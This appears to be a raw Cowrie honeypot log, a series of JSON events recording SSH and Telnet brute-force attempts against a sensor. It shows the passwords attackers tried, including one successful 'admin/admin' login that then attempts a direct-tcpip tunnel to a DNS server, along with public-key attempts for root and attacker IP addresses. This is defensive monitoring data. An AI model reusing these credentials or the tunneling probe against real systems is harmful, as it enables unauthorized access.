{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:56:19.879609Z","src_ip":"176.32.39.21","session":"5f0fd4e07ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:56:21.002615Z","src_ip":"176.32.39.21","session":"5f0fd4e07ae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2504,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2ea4fe1f12a","protocol":"ssh","message":"New connection: 87.251.64.176:2504 (10.17.0.5:22) [session: e2ea4fe1f12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:57:07.140118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:57:07.145708Z","src_ip":"87.251.64.176","session":"e2ea4fe1f12a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:57:07.240471Z","src_ip":"87.251.64.176","session":"e2ea4fe1f12a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:57:07.530436Z","src_ip":"87.251.64.176","session":"e2ea4fe1f12a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:57:07.628473Z","session":"e2ea4fe1f12a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:57:07.725431Z","src_ip":"87.251.64.176","session":"e2ea4fe1f12a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:57:07.824569Z","src_ip":"87.251.64.176","session":"e2ea4fe1f12a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.88407230377197,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:57:10.783066Z","src_ip":"135.148.14.151","session":"59c56df9838a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41652,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8f9cb26b7bf","protocol":"telnet","message":"New connection: 135.148.14.151:41652 (159.203.135.109:23) [session: f8f9cb26b7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:57:25.239240Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52626,"dst_ip":"159.203.135.109","dst_port":23,"session":"41add9d0fc3e","protocol":"telnet","message":"New connection: 135.148.14.151:52626 (159.203.135.109:23) [session: 41add9d0fc3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:57:49.148891Z"}
{"eventid":"cowrie.session.closed","duration":33.643274784088135,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:57:58.882403Z","src_ip":"135.148.14.151","session":"f8f9cb26b7bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":44744,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e7a8a392fee","protocol":"ssh","message":"New connection: 80.66.85.226:44744 (159.203.135.109:22) [session: 0e7a8a392fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:07.934024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:07.940638Z","src_ip":"80.66.85.226","session":"0e7a8a392fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:08.038826Z","src_ip":"80.66.85.226","session":"0e7a8a392fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:08.327029Z","src_ip":"80.66.85.226","session":"0e7a8a392fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:09.424645Z","src_ip":"80.66.85.226","session":"0e7a8a392fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.076371908187866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:20.225119Z","src_ip":"135.148.14.151","session":"41add9d0fc3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.163.145.38","src_port":62400,"dst_ip":"10.17.0.5","dst_port":22,"session":"b85928947d47","protocol":"ssh","message":"New connection: 89.163.145.38:62400 (10.17.0.5:22) [session: b85928947d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:39.968928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:39.973628Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:40.065051Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:34:90:4b:a8:91:ed:ba:92:d7:db:00:0c:85:58:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCj0Gz1/7llk7hicDr8wsN51UhGu7vQ2aJeOBp9E79NRi3PIq4bzXTN0YripTLGURJi/HjNOxoEQqcKA7lwuIUpd2E+UwvhN1RB/tr123/kSKYhUhF70gQBOY3/xOHaPXmFm5/RL4kxTQ/5/O1Y9vjc2t8tP98fZK1gdhSqcMlHnyFJfZH8RqcUAOZl6mlsGwkYesnYU7jNeS37kdZuF6MEJho91Ipj5wuzaYkNDoqvfjpoVa3+luWk+nHCTTYuaVaf7X/BoRtYRGcxmXnCa3Ui8J47yWwQzkKcqD4EJ8LaA9jDriCmHRyAdrw0eWi+XqW0r+cdJ5otxcvD5SKILie7GMc3KogqmtWmzN0FbZYmXRD/C+N0bDOHk9rhiPdtrBxcZAlF9SF7U0ntdRiSs9OihEgBYDq0IzINGox2IWR6QZ9YhsZJzl7ByyakNF4W4Y1l0dbrmBmpMvilgmooaY6HAm5zmHJW89+LM5XlcKx2QagwPQQ+HFO2EQTIsgnXDc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:34:90:4b:a8:91:ed:ba:92:d7:db:00:0c:85:58:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:40.490824Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:34:90:4b:a8:91:ed:ba:92:d7:db:00:0c:85:58:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCj0Gz1/7llk7hicDr8wsN51UhGu7vQ2aJeOBp9E79NRi3PIq4bzXTN0YripTLGURJi/HjNOxoEQqcKA7lwuIUpd2E+UwvhN1RB/tr123/kSKYhUhF70gQBOY3/xOHaPXmFm5/RL4kxTQ/5/O1Y9vjc2t8tP98fZK1gdhSqcMlHnyFJfZH8RqcUAOZl6mlsGwkYesnYU7jNeS37kdZuF6MEJho91Ipj5wuzaYkNDoqvfjpoVa3+luWk+nHCTTYuaVaf7X/BoRtYRGcxmXnCa3Ui8J47yWwQzkKcqD4EJ8LaA9jDriCmHRyAdrw0eWi+XqW0r+cdJ5otxcvD5SKILie7GMc3KogqmtWmzN0FbZYmXRD/C+N0bDOHk9rhiPdtrBxcZAlF9SF7U0ntdRiSs9OihEgBYDq0IzINGox2IWR6QZ9YhsZJzl7ByyakNF4W4Y1l0dbrmBmpMvilgmooaY6HAm5zmHJW89+LM5XlcKx2QagwPQQ+HFO2EQTIsgnXDc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:40.494420Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:17:ec:40:b3:b7:3a:c1:65:35:39:a6:74:26:fe:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCc7RGtVil+YfDuNgOBkJKwbjHLocHtatG0hRHf5xxhrll7KKsKBM5SeC63lCdAFbC+Rqp5QGkhENWUvgC2ByBSS0PNwUlL88aYMk4z1iX1c31AUUfN62sQoraXqBcIK1Tzb8k5MSPqcTfqWpQLdh09LzJP8JpyA8OHfZ8JxUWHXvb87BpSR3nXfiKTnbHV9nfEASR20KFfeiQJjMaNk/IUHkEra75cZOCKHZavdKIJqdSoi5QMcPKrIgnsoTJKP91JA5wvMeKADpaDZm2x5xNpNA4xvcocIAqWOXxGjCobiVMW8wzFCL5dgbJEsCECV4+dUcRIjDLs+Hk7HzK+eCr7SKOfRDH3LkHpmIPAPgrbhPQ9wxNRNjnu0gv7o1ITlQEIL+AiBrL3F2olwRuEOZDQgBpAxbjSMh/uthDneMUjNw6Rq2DhAofgAkdY2gSkmZEeZiOqAO2Gh4tFHruA25f+z6zaZ+EF0hVGZ2tabLFkaQiTfqjYQHD3arKsl7QaT1kmZySGd8mF6E/uaVxxLqpE2Xz8Uhzp7JLVVTHL/mLIcNSHN82dHW+4tcJeTVCJIeI9xndrIwSyqY92KhuBiXElPhpE9Zrc/BS9rQiqB2eh2SMi1UiukFPYKQZGcLrySWVS5AQ7y702NRdow8G0oFM487uIGXNhHykv4klAjuW3Ew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:17:ec:40:b3:b7:3a:c1:65:35:39:a6:74:26:fe:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:40.584534Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:17:ec:40:b3:b7:3a:c1:65:35:39:a6:74:26:fe:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCc7RGtVil+YfDuNgOBkJKwbjHLocHtatG0hRHf5xxhrll7KKsKBM5SeC63lCdAFbC+Rqp5QGkhENWUvgC2ByBSS0PNwUlL88aYMk4z1iX1c31AUUfN62sQoraXqBcIK1Tzb8k5MSPqcTfqWpQLdh09LzJP8JpyA8OHfZ8JxUWHXvb87BpSR3nXfiKTnbHV9nfEASR20KFfeiQJjMaNk/IUHkEra75cZOCKHZavdKIJqdSoi5QMcPKrIgnsoTJKP91JA5wvMeKADpaDZm2x5xNpNA4xvcocIAqWOXxGjCobiVMW8wzFCL5dgbJEsCECV4+dUcRIjDLs+Hk7HzK+eCr7SKOfRDH3LkHpmIPAPgrbhPQ9wxNRNjnu0gv7o1ITlQEIL+AiBrL3F2olwRuEOZDQgBpAxbjSMh/uthDneMUjNw6Rq2DhAofgAkdY2gSkmZEeZiOqAO2Gh4tFHruA25f+z6zaZ+EF0hVGZ2tabLFkaQiTfqjYQHD3arKsl7QaT1kmZySGd8mF6E/uaVxxLqpE2Xz8Uhzp7JLVVTHL/mLIcNSHN82dHW+4tcJeTVCJIeI9xndrIwSyqY92KhuBiXElPhpE9Zrc/BS9rQiqB2eh2SMi1UiukFPYKQZGcLrySWVS5AQ7y702NRdow8G0oFM487uIGXNhHykv4klAjuW3Ew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:40.591296Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:17:c3:b0:1e:fa:f8:c0:cc:5a:ae:93:96:d0:f1:9f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFOOONPrYTLsTnxIpNC4Vf6QQmD5jVp8vFFCNfIkl2P/","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 31:17:c3:b0:1e:fa:f8:c0:cc:5a:ae:93:96:d0:f1:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:40.682230Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:17:c3:b0:1e:fa:f8:c0:cc:5a:ae:93:96:d0:f1:9f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFOOONPrYTLsTnxIpNC4Vf6QQmD5jVp8vFFCNfIkl2P/","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:40.686367Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:28:e2:f5:5d:f5:39:69:ce:84:7d:7b:91:8c:87:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKRcejQezo/MUaBcEIOsFGVaji5r962kdfIk1yUGTeaOjJMwLEZQq4Dgmw3DNBnmffQql+jZarMXbnM4QECP8UNLPFKNj5//3BaNbCUrguHqvHA9bgv00MAMpYo/UuA8yd631ZXfNTXj/4vMK3y5jyFbg32CNmtEmN0ZcjYRRf26RWjkssnQTI8IIdmipiNBBf8hOZwHbtSzZr1LtXadOxehQYf6CNHva4z/z+V5JwlNEdjJFjjyFsTQ7RhlkFPtCU2J+yh680X+Rub6XIFO//13nQ+P2cV1Ql17/dq9uM9P7AUdhd87DJBe4ilBHTTBCjYl/xZT07nj1ozV8dW0sWFmmPEtKynCAjBp3m6dia5+YPCR14Mu9HwRQEwLP7KNbYKjJk2gthNjJp4kOom8KeHFZRijqN/g3Wnfn+xyGbAiScxMKH58QtpApbC8AIrdtLRYbY1rC/fuYOm+qtkqoQutraq4kSlVQg03WxkdbwwmBBPnyiN0QDiPIVvz+fI2M=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:28:e2:f5:5d:f5:39:69:ce:84:7d:7b:91:8c:87:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:40.777433Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:28:e2:f5:5d:f5:39:69:ce:84:7d:7b:91:8c:87:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKRcejQezo/MUaBcEIOsFGVaji5r962kdfIk1yUGTeaOjJMwLEZQq4Dgmw3DNBnmffQql+jZarMXbnM4QECP8UNLPFKNj5//3BaNbCUrguHqvHA9bgv00MAMpYo/UuA8yd631ZXfNTXj/4vMK3y5jyFbg32CNmtEmN0ZcjYRRf26RWjkssnQTI8IIdmipiNBBf8hOZwHbtSzZr1LtXadOxehQYf6CNHva4z/z+V5JwlNEdjJFjjyFsTQ7RhlkFPtCU2J+yh680X+Rub6XIFO//13nQ+P2cV1Ql17/dq9uM9P7AUdhd87DJBe4ilBHTTBCjYl/xZT07nj1ozV8dW0sWFmmPEtKynCAjBp3m6dia5+YPCR14Mu9HwRQEwLP7KNbYKjJk2gthNjJp4kOom8KeHFZRijqN/g3Wnfn+xyGbAiScxMKH58QtpApbC8AIrdtLRYbY1rC/fuYOm+qtkqoQutraq4kSlVQg03WxkdbwwmBBPnyiN0QDiPIVvz+fI2M=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:40.781740Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:7e:5d:bf:12:8b:2b:8a:4d:63:e2:40:dc:a6:dc:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAiWj8jULf9LPL5wy8BFfT8Sm1uejuckMuwM/+P42kZ0QZKqaFwmbAKENlI2t4qGizQBwlBKWVkKhrJQEoo9MJUWhlYMmaugalL1k1IhMT/N3QBZMeQW5obYHlxnGpEK40k6iiZWGV6/uCV///d2eXsj4aL1sMRP3BgAaYFVsqgH8sg+m/REGwBXsZLrGVLCKI/SLe/s2p3PyK4OK+Dabw5EO2o0FnLigx+hA6WZ0rIlBjRve84PACBLqzK0EeESWC3dGEiCm7cDZpiBWzC89rawRDud9wiA7YHz9Uy5h6GYzBq1o6IuotmwIzb6pQCLNsjawaOM4O7Jp38NxnoTdN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:7e:5d:bf:12:8b:2b:8a:4d:63:e2:40:dc:a6:dc:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:40.872532Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:7e:5d:bf:12:8b:2b:8a:4d:63:e2:40:dc:a6:dc:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAiWj8jULf9LPL5wy8BFfT8Sm1uejuckMuwM/+P42kZ0QZKqaFwmbAKENlI2t4qGizQBwlBKWVkKhrJQEoo9MJUWhlYMmaugalL1k1IhMT/N3QBZMeQW5obYHlxnGpEK40k6iiZWGV6/uCV///d2eXsj4aL1sMRP3BgAaYFVsqgH8sg+m/REGwBXsZLrGVLCKI/SLe/s2p3PyK4OK+Dabw5EO2o0FnLigx+hA6WZ0rIlBjRve84PACBLqzK0EeESWC3dGEiCm7cDZpiBWzC89rawRDud9wiA7YHz9Uy5h6GYzBq1o6IuotmwIzb6pQCLNsjawaOM4O7Jp38NxnoTdN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:40.876640Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:58:40.967208Z","src_ip":"89.163.145.38","session":"b85928947d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.42.126.3","src_port":37461,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f5fcdba1511","protocol":"telnet","message":"New connection: 86.42.126.3:37461 (10.17.0.5:23) [session: 0f5fcdba1511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:59:08.068213Z"}
{"eventid":"cowrie.session.closed","duration":13.329907894134521,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:59:21.397942Z","src_ip":"86.42.126.3","session":"0f5fcdba1511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":42302,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9584bb05c9c","protocol":"ssh","message":"New connection: 147.45.199.80:42302 (159.203.135.109:22) [session: a9584bb05c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:59:33.324906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:59:33.329866Z","src_ip":"147.45.199.80","session":"a9584bb05c9c","protocol":"ssh"}
